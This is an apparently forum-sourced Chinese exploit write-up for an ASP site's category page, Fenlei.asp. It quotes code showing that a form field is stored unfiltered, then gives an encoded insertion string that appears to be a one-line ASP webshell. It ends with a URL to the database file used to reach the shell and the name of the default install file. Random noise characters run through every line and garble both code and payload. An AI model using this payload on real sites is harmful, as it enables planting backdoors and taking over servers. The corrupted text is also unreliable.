'Fenlei.asp
* s- y! X7 @1 j! e) g8 v6 z! Q+ K5 f" z' b5 d# y. r& u% m
IF Request.QueryString("Action")="del" Then + z9 T- ^, k6 m# t
ID=Request.QueryString("ID") . c" a/ [$ T; r
IF Countss ("tui","Fenlei",ID )<>0 then * I3 q4 Q4 U, x5 R7 P% s
'略 6 ^- x& t. j- V7 V7 ?
IF Request.QueryString("Action")="Add" Then
- L& Z. a5 F$ |" x9 x; MTname=Request.Form("Typename") 5 G$ b, z6 y8 c1 y$ O. q! G$ _% {
Set Rs=Server.CreateObject("adodb.Recordset")
' W- _/ t# Y! V0 H9 dSql="Select * From Fenlei Order by id Desc " / k3 z% X: w" B5 Y4 H
Rs.Open Sql,Conn,1,3
9 O. [% C* X6 b. HRs.Addnew
. w s: F' _4 X zRs("Typename")=Tname
5 f r/ |4 S$ P: j'略
: p5 C( }( i( E2 DSet Rs=Server.CreateObject("adodb.Recordset")
3 I; H8 N* ?2 o' V; T \, |Sql="Select * From Fenlei Order by id Desc " 1 e: O5 q' H5 B
Rs.Open Sql,Conn,1,1 ( Q! j2 R! j( j6 p9 q% u
'略 9 i( P, b# i) m1 z6 d0 z. p+ j
%>
, F6 k# G$ S" V9 x1 Y( B" N! B j3 i
, b6 w8 s1 \" ?! e# F2 r, j/ P
2 _: w1 O! ~- [" E, f
" X# n9 O$ V0 h1 V3 ^没有过滤,直接写入数据库。
9 I, ]- k, `6 o1 C: ^3 d) [5 `- B
/ t1 |0 K/ |# o2 Q利用方法:
% k: s$ D R: M: ^/ @2 K, h , y' q. n$ a$ v% t5 @% z- _6 p
插入:┼攠數畣整爠煥敵瑳∨≡┩>0 }/ o' e0 X! A
7 b) `- Y f' }2 e% Q A" t: ]! l
- X |, [$ ?. H" T/ |2 U$ s/ K2 b连接: http://www.xxx.com/###tongbaner.asa
0 f% k7 d. Q+ C3 K'默认安装文件: 4 R+ o; R7 {* _$ N2 [- X* _( W7 {- C
'install.asp. g& K. w2 E9 l z% V
|